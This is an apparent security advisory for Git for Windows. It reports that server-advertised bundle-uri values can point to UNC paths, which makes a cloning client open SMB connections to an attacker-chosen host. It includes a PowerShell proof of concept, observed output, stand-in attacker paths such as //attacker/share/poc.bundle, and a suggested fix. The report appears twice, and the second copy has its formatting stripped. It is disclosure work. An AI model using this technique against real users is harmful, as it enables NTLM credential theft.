Summary
git clone on Git for Windows accepts server-advertised bundle-uri values that are documented as HTTP(S)-only but are actually treated as local filesystem paths when they are not HTTP(S). On Windows, a malicious remote server can therefore advertise a UNC path such as //attacker/share/poc.bundle or file:////attacker/share/poc.bundle, causing the victim client to initiate an outbound SMB connection during clone when transfer.bundleuri=true.
I confirmed this on current main at commit 126291e80013de7291b051cda1daad3ab46a1bc1, and I also confirmed that the same risky code path is present in the released v2.53.0.windows.3 source. The issue is a trust-boundary problem in the bundle-uri feature: remote advertisements are allowed to cross from the documented HTTP(S) scope into local/UNC file access.
Because Git for Windows already treats remote-triggered UNC access as security-sensitive in other code paths, I recommend handling this as a security issue. The strongest directly proven impact in this report is a real SMB callback to the attacker-chosen host. On typical Windows configurations, that callback is likely to lead to NTLM authentication exposure, which is why I recommend High severity, but I want to be explicit that the reproduction below proves the SMB connection itself rather than captured NTLM bytes.
Details
The documentation states that, at the current scope of the bundle-uri feature, all advertised URIs are expected to be HTTP(S) and that file:// is only a future extension:
Documentation/technical/bundle-uri.adoc
The released v2.53.0.windows.3 source and current main do not enforce that expectation:
bundle-uri.c: copy_uri_to_file() sends only http: and https: URIs to download_https_uri_to_file()
bundle-uri.c: if the URI begins with file://, the prefix is stripped
bundle-uri.c: all other values, including bare paths and UNC paths, fall through to copy_file(filename, uri, 0)
The remote-triggered call path is:
transport.c: transport_get_remote_bundle_uri() requests the server-advertised bundle list when transfer.bundleuri=true
builtin/clone.c: clone consumes the remote bundle list before normal fetch completion
bundle-uri.c: each advertised URI is fetched by fetch_bundle_uri_internal()
copy.c: copy_file() opens the attacker-supplied source path directly
On Git for Windows, that source open goes through the regular Win32 file open path in compat/mingw.c.
Git for Windows already documents UNC/network-share access as security-sensitive in a separate mitigation:
compat/mingw.c contains a comment about avoiding NTLM credential leaks from crafted repositories that point to \\attacker-server\\share
This means the bug is not just “remote server can provide a bad URI.” The trust boundary is wrong: server-advertised bundle URIs are treated as if they were user-approved local file locations.
This also appears distinct from the two public 2026 NTLM advisories:
GHSA-hv9c-4jm9-jh3x / CVE-2025-66413: malicious clone/fetch server path
GHSA-9j5h-h4m7-85hx / CVE-2026-32631: manipulated repository / network-share / symlink path
The present issue uses a different code path and remains reachable through server-advertised bundle-uri values in current main and in the released v2.53.0.windows.3 source.
PoC
Tested platform:
- Windows
- Git for Windows source
main at 126291e80013de7291b051cda1daad3ab46a1bc1
- risky code path also present in released
v2.53.0.windows.3
transfer.bundleuri=true
Minimal reproduction:
- Create a file that is not a bundle but is reachable through a UNC path:
$ip = (Get-NetIPAddress -AddressFamily IPv4 |
Where-Object { $_.IPAddress -like '192.168.*' } |
Select-Object -First 1 -ExpandProperty IPAddress)
$root = 'D:\codex\tmp_bundle_uri_smb_proof3'
New-Item -ItemType Directory -Force -Path $root | Out-Null
$probe = Join-Path $root 'probe_mid.txt'
$header = [System.Text.Encoding]::ASCII.GetBytes("NOT A BUNDLE`r`n")
$fs = [System.IO.File]::Open(
$probe,
[System.IO.FileMode]::Create,
[System.IO.FileAccess]::Write,
[System.IO.FileShare]::Read
)
$fs.Write($header, 0, $header.Length)
$fs.SetLength(20MB)
$fs.Dispose()
- Create a bare repository whose
bundle-uri advertisement points to that UNC path:
$git = 'C:\Program Files\Git\cmd\git.exe'
$server = Join-Path $root 'server.git'
& $git init --bare $server
& $git --git-dir=$server config uploadpack.advertisebundleuris true
& $git --git-dir=$server config bundle.version 1
& $git --git-dir=$server config bundle.mode all
& $git --git-dir=$server config bundle.one.uri "//$ip/d$/codex/tmp_bundle_uri_smb_proof3/probe_mid.txt"
- Serve the repository over
git://:
$port = 9441
Start-Process -FilePath $git -ArgumentList @(
'daemon',
'--verbose',
'--export-all',
'--reuseaddr',
"--base-path=$root",
'--listen=127.0.0.1',
"--port=$port"
) -WindowStyle Hidden
- Start the clone with
transfer.bundleuri=true:
& $git -c transfer.bundleuri=true clone "git://127.0.0.1:$port/server.git" (Join-Path $root 'victim')
- Observe the network callback and clone output.
Observed results from my reproduction:
- The clone attempts to fetch the server-advertised UNC path before normal fetch completion.
netstat captured a live SMB session during clone:
TCP 192.168.50.1:445 192.168.50.1:3332 ESTABLISHED 4
TCP 192.168.50.1:3332 192.168.50.1:445 ESTABLISHED 4
- Clone output showed the remote-provided UNC path being consumed:
Cloning into 'D:\codex\tmp_bundle_uri_smb_proof3\victim'...
error: bad config line 1 in file D:/codex/tmp_bundle_uri_smb_proof3/victim/.git/objects/bundles/tmp_uri_R32RtZ
warning: file at URI '//192.168.50.1/d$/codex/tmp_bundle_uri_smb_proof3/probe_mid.txt' is not a bundle or bundle list
warning: You appear to have cloned an empty repository.
Variant:
- The explicit
file:// UNC form also triggers SMB:
file:////192.168.50.1/d$/codex/tmp_bundle_uri_smb_fileunc/probe_mid.txt
- In that variant I observed the same kind of established
:445 connection during clone.
PoC comment:
- it proves the issue in the remote-advertised feature itself, not in a local helper
- it proves real network-side SMB initiation, not only string parsing
- it proves the server controls the destination UNC host and path seen by the client
Suggested fix direction:
- treat remote-advertised bundle URIs as remote-only and reject non-HTTP(S) values
- continue allowing local/file bundle URIs only for explicit user-supplied
--bundle-uri workflows if desired
I prepared a local candidate patch and regression test for that direction.
Impact
Confirmed impact:
- A malicious remote server can force a Windows client to initiate an outbound SMB connection to an attacker-chosen UNC host during
git clone when transfer.bundleuri=true.
Likely security consequence:
- On typical Windows setups, contacting an attacker-controlled SMB host can trigger NTLM authentication behavior automatically. That creates a likely credential-exposure path even without any special repository contents beyond the remote
bundle-uri advertisement.
Who is impacted:
- Windows users of Git for Windows
- any workflow or wrapper that enables
transfer.bundleuri=true
- cloning or fetching from untrusted remotes that advertise bundle URIs
Why I am filing this as security-sensitive:
- the attacker controls an external resource reference across a trust boundary
- the client performs network access to that attacker-selected host
- Git for Windows already treats remote-triggered UNC access as credential-sensitive elsewhere
- the issue is present in released
v2.53.0.windows.3 source and in current main
note:
- The strongest directly proven effect in this report is the SMB callback itself. I did not include an external credential-capture trace in this submission, but the callback is established and the NTLM risk on Windows is well understood and consistent with your recent NTLM-related advisories.
Summary
git cloneon Git for Windows accepts server-advertisedbundle-urivalues that are documented as HTTP(S)-only but are actually treated as local filesystem paths when they are not HTTP(S). On Windows, a malicious remote server can therefore advertise a UNC path such as//attacker/share/poc.bundleorfile:////attacker/share/poc.bundle, causing the victim client to initiate an outbound SMB connection during clone whentransfer.bundleuri=true.I confirmed this on current
mainat commit126291e80013de7291b051cda1daad3ab46a1bc1, and I also confirmed that the same risky code path is present in the releasedv2.53.0.windows.3source. The issue is a trust-boundary problem in thebundle-urifeature: remote advertisements are allowed to cross from the documented HTTP(S) scope into local/UNC file access.Because Git for Windows already treats remote-triggered UNC access as security-sensitive in other code paths, I recommend handling this as a security issue. The strongest directly proven impact in this report is a real SMB callback to the attacker-chosen host. On typical Windows configurations, that callback is likely to lead to NTLM authentication exposure, which is why I recommend High severity, but I want to be explicit that the reproduction below proves the SMB connection itself rather than captured NTLM bytes.
Details
The documentation states that, at the current scope of the
bundle-urifeature, all advertised URIs are expected to be HTTP(S) and thatfile://is only a future extension:Documentation/technical/bundle-uri.adocThe released
v2.53.0.windows.3source and currentmaindo not enforce that expectation:bundle-uri.c:copy_uri_to_file()sends onlyhttp:andhttps:URIs todownload_https_uri_to_file()bundle-uri.c: if the URI begins withfile://, the prefix is strippedbundle-uri.c: all other values, including bare paths and UNC paths, fall through tocopy_file(filename, uri, 0)The remote-triggered call path is:
transport.c:transport_get_remote_bundle_uri()requests the server-advertised bundle list whentransfer.bundleuri=truebuiltin/clone.c: clone consumes the remote bundle list before normal fetch completionbundle-uri.c: each advertised URI is fetched byfetch_bundle_uri_internal()copy.c:copy_file()opens the attacker-supplied source path directlyOn Git for Windows, that source open goes through the regular Win32 file open path in
compat/mingw.c.Git for Windows already documents UNC/network-share access as security-sensitive in a separate mitigation:
compat/mingw.ccontains a comment about avoiding NTLM credential leaks from crafted repositories that point to\\attacker-server\\shareThis means the bug is not just “remote server can provide a bad URI.” The trust boundary is wrong: server-advertised bundle URIs are treated as if they were user-approved local file locations.
This also appears distinct from the two public 2026 NTLM advisories:
GHSA-hv9c-4jm9-jh3x/CVE-2025-66413: malicious clone/fetch server pathGHSA-9j5h-h4m7-85hx/CVE-2026-32631: manipulated repository / network-share / symlink pathThe present issue uses a different code path and remains reachable through server-advertised
bundle-urivalues in currentmainand in the releasedv2.53.0.windows.3source.PoC
Tested platform:
mainat126291e80013de7291b051cda1daad3ab46a1bc1v2.53.0.windows.3transfer.bundleuri=trueMinimal reproduction:
bundle-uriadvertisement points to that UNC path:git://:transfer.bundleuri=true:Observed results from my reproduction:
netstatcaptured a live SMB session during clone:Variant:
file://UNC form also triggers SMB::445connection during clone.PoC comment:
Suggested fix direction:
--bundle-uriworkflows if desiredI prepared a local candidate patch and regression test for that direction.
Impact
Confirmed impact:
git clonewhentransfer.bundleuri=true.Likely security consequence:
bundle-uriadvertisement.Who is impacted:
transfer.bundleuri=trueWhy I am filing this as security-sensitive:
v2.53.0.windows.3source and in currentmainnote: